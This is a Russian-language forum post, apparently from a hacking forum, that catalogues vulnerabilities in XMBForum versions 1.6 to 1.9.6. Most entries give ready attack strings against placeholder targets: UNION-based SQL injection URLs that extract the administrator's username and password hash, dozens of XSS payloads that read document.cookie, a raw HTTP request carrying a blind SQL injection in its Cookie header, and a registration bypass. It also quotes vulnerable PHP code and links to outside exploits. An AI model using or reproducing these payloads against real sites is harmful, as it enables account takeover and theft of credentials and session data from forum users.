Обзор уязвимостей XMBForum Решил пополнить данный раздел обзором уязвимостей ещё одного форума... XMBForum 1.6x Уязвимость: XSS Описание: Уязвимость позволяет внедрять javascript и HTML код в сообщения форума между тэгами . Пример: Code: [im*g][COLOR=Lime][B]javasCript:alert(document.cookie)[/B][/COLOR][/im*g] XMB Forum 1.6 Magic Lantern Уязвимость: Обход регистрации Описание: XMB Forum 1.6 Magic Lantern позволяет удаленным пользователям высказываться на форуме, обходя стандартные функции регистрации, при представлении произвольной строки к переменной "analized" в index.php. Кроме того, журналы регистрации index_log.log и cplogfile.log доступны любому пользователю через Web интерфейс. Пример: Code: /forumpath/index.php?analized=anything XMB Forum 1.8 Уязвимость: SQL-Injection Описание: Недостаток в процессе регистрации позволяет удаленному пользователь внедрить дополнительные SQL команды, чтобы получить хеш пароли любого пользователя XMB форума, включая администратора. Если система конфигурирована с параметром 'register_globals' в 'php.ini', то удаленный пользователь может представить специально обработанное значение в $email1 и $email2 переменных, чтобы заставить 'members.php' выполнить произвольные SQL команды на основной базе данных. Участок уязвимого кода в файле members.php: PHP: if($doublee == "off" && strstr($email, "@")){ $email = trim($email); $email1 = ", email"; $email2 = "OR email='$email'"; } $username = trim($username); $query = $db->query("SELECT username$email1 FROM $table_members WHERE \ username='$username' $email2"); Exploit: http://www.securitylab.ru/bitrix/exturl.php?goto=%2Fvulnerability%2Fsource%2F207915.php XMB Forum 1.8,1.9 Уязвимость: XSS Описание: Поле 'action в сценарии 'buddy.php' не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально обработанный URL, который, когда будет загружен целевым пользователем, выполнит произвольный код сценария в браузере целевого пользователя. Пример: Code: http://[target]/buddy.php?action=[COLOR=Lime][B]<script>alert(document.cookie)</script>[/B][/COLOR]&buddy=[COLOR=Lime][B]<script>alert(document.cookie)</script>[/B][/COLOR] XMB Forum 1.8 Partagium Final SP2 Уязвимость: SQL-Injection & XSS Описание: Удаленный пользователь может выполнить SQL команды на основной базе данных и выполнить XSS нападение. SQL-Injection: Code: http://[target]/xmb18sp2/stats.php?action=view&addon=[B][COLOR=Lime]WHERE t.tid<0 UNION ALL SELECT NULL,NULL,username FROM xmb_members WHERE uid=1 LIMIT 1/*[/COLOR][/B] http://[target]/xmb18sp2/stats.php?action=view&addon=[B][COLOR=Lime]WHERE t.tid<0 UNION ALL SELECT NULL,NULL,password FROM xmb_members WHERE uid=1 LIMIT 1/*[/COLOR][/B] XSS: Code: http://[target]/xmb18sp2/forumdisplay.php?fid=1&foobar=[B][COLOR=Lime]<%73cript>[/B][/COLOR] http://[target]/xmb18sp2/member.php?action=viewpro&member=x[B][COLOR=Lime]<%73cript>alert (document.cookie);</%73cript>[/B][/COLOR] http://[target]/xmb18sp2/u2uadmin.php?uid=x[B][COLOR=Lime]"><%73cript>alert(document.cookie); </%73cript>[/B][/COLOR] http://[target]/xmb18sp2/editprofile.php?user=x[B][COLOR=Lime]"><%73cript>alert (document.cookie);</%73cript>[/B][/COLOR] http://[target]/xmb18sp2/viewthread.php?tid=1&ppp=x[B][COLOR=Lime]<%73cript>alert (document.cookie);</%73cript>[/B][/COLOR] http://[target]/xmb18sp2/misc.php?action=list&order=postnum&desc=x[B][COLOR=Lime]<%73cript>alert (document.cookie);</%73cript>[/B][/COLOR] http://[target]/xmb18sp2/forumdisplay.php?fid=1&tpp=x[B][COLOR=Lime]<%73cript>alert (document.cookie);</%73cript>[/B][/COLOR] http://[target]/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x[B][COLOR=Lime]<%73cript>ale rt (document.cookie);</%73cript>[/B][/COLOR] XMB Forum 1.8 Partagium SP3; 1.9 Nexus Beta Уязвимость: SQL-Injection & XSS Описание: Удаленный пользователь может выполнить SQL команды на основной базе данных и выполнить XSS нападение. SQL-Injection: Code: http://[target]/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=[B][COLOR=Lime]-99%20GROUP%20BY %20p.fid%20UNION%20SELECT%20password,null,9[/B][/COLOR] http://[target]/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=[B][COLOR=Lime]-99%20GROUP%20BY%20p.fid%20UNION%2 0SELECT%20username,null,9[/B][/COLOR] http://[target]/xmb19beta/misc.php?act ion=search&restrict=%20private=[B][COLOR=Lime]-99%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null, 1%20LIMIT%201%20/*[/B][/COLOR] XSS: Code: http://[target]/xmb19beta/misc.php?action=search&restrict=[B][COLOR=Lime]<body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/today. php?restrict=[B][COLOR=Lime]<body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/forumdisplay.php?fid=1&tpp=[B][COLOR=Lime]<body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/xmb.php?show=version&xmbuser=foobar[B][COLOR=Lime]><body onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/editprofile.php?u ser=notexist_foobar&u2uheader=[B][COLOR=Lime]<body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/u2u.php?folder=foobar[B][COLOR=Lime]"><body%20onload=alert(document.cookie);>[/B][/COLOR] http ://localhost/xmb19beta/stats.php?action=view&viewmost=[B][COLOR=Lime]"></textarea><body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/stats.php?action=view&replymost=[B][COLOR=Lime]" ></textarea><body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/stats.php?action=view&latest=[B][COLOR=Lime]"></textarea><body%20onload=alert(document.cookie);>[/B][/COLOR] htt p://localhost/xmb19beta/post.php?action=newthread&fid=1&message=[B][COLOR=Lime]"></textarea><body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/post.php?action=newthre ad&fid=1&icons=[B][COLOR=Lime]<body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/forumdisplay.php?fid=1&threadlist=[B][COLOR=Lime]<body%20onload=alert(document.cookie);>[/B][/COLOR] http://l ocalhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=[B][COLOR=Lime]<body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/forumdisplay.php?fid=1&forumlist=[B][COLOR=Lime]<body%20onload= alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/forumdisplay.php?fid=1&navigation=[B][COLOR=Lime]<body%20onload=alert(document.cookie);>[/B][/COLOR] http://[target]/xmb19beta/forumdispla y.php?fid=1&forumdisplay=[B][COLOR=Lime]<body%20onload=alert(document.cookie);>[/B][/COLOR] XMB Forum 1.9.1 Уязвимость: XSS Описание: Уязвимость существует из-за недостаточной фильтрации данных в параметре Mood и поле Send To. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. XMB Forum <1.9.3 Уязвимость: Mutliple vulnerabilities Описание: 1. XSS. Уязвимость существует при обработке входных данных в параметре username сценария u2u.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. Пример: Code: http://[host]/u2u.php?action=send&username=[codе] 2. XSS. Уязвимость существует при обработке поля "Your Current Mood" при регистрации учетной записи. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML код в браузере жертвы в контексте безопасности уязвимого сайта. 3. Раскрытие путей: Code: http://[host]/files/post.php?action=newthread&fid=PATH 4. SQL-Injection. Уязвимость существует в следствие недостаточной фильтрации Cookies. Участок уязвимого кода (файл today.php): PHP: if ( X_MEMBER ) { // let's add fids for passworded forums that the user can access $r2 = array(); foreach ($_COOKIE as $key=>$val) { if (preg_match('#^fidpw([0-9]+)$#', $key, $fetch)) { $r2[] = "(fid='$fetch[1]' AND password='$val')"; } } if (count($r2) > 0) { $r = implode(' OR ', $r2); $q = $db->query("SELECT fid FROM $table_forums WHERE $r"); while($f = $db->fetch_array($q)) { $fids[] = $f['fid']; } } } Сформировав в хидере Cookie правильный SQL-запрос, можно получить данные из базы данных: Code: GET /today.php HTTP/1.1 Host: xmb User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Firefox/1.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://xmb/viewthread.php?tid=2&page=1 Cookie: xmblva=1137629907; xmbuser=james; xmbpw=44cc344d25a2ffe540adbd5678e2394c; fidpw0=[B][COLOR=Lime]') UNION SELECT uid FROM xmb_members WHERE uid=1 AND MID(password,1,1)=2/*[/COLOR][/B] Cache-Control: max-age=0 4. XSS. Code: http://[target]/xmb/u2u.php?action=send&username=[B][COLOR=Lime]"><script>alert (document.cookie);</script>[/B][/COLOR] XMB Forum 1.9.6 Уязвимость: SQL-Injection Описание: Уязвимость существует из-за недостаточной обработки входных данных в параметре "u2uid" в сценарии u2u.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Exploit: http://retrogod.altervista.org/xmb_196_sql.html